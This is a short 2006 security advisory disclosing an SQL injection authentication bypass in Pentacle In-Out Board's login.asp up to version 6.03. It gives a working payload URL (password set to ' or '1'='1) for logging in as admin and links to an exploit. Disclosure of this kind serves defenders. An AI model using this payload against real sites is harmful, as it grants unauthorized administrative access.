Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass Vulnerability

[nukedx () nukedx com]

--Security Report--
Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass
Vulnerability
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 25/02/06 05:56 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com
Web: http://www.nukedx.com
}
---
Vendor: G2SOFT (www.g2soft.net)
Version: 6.03 and prior versions must be affected.
About: Via this method remote attacker can bypass login.asp and login as admin.
Level: Critical
---
How:
SQL query in line 31 of login.asp which is checking username and password did
not sanitized properly.
POST -> http://[site]/[ptdir]/login.asp?username=any&password=&apos; or '1'='1
--
Timeline:
* 25/02/2006: Vulnerability found.
* 25/02/2006: Contacted with vendor and waiting reply.
--
Exploit:
http://www.nukedx.com/?getxpl=13
--
Original advisory: http://www.nukedx.com/?viewdoc=13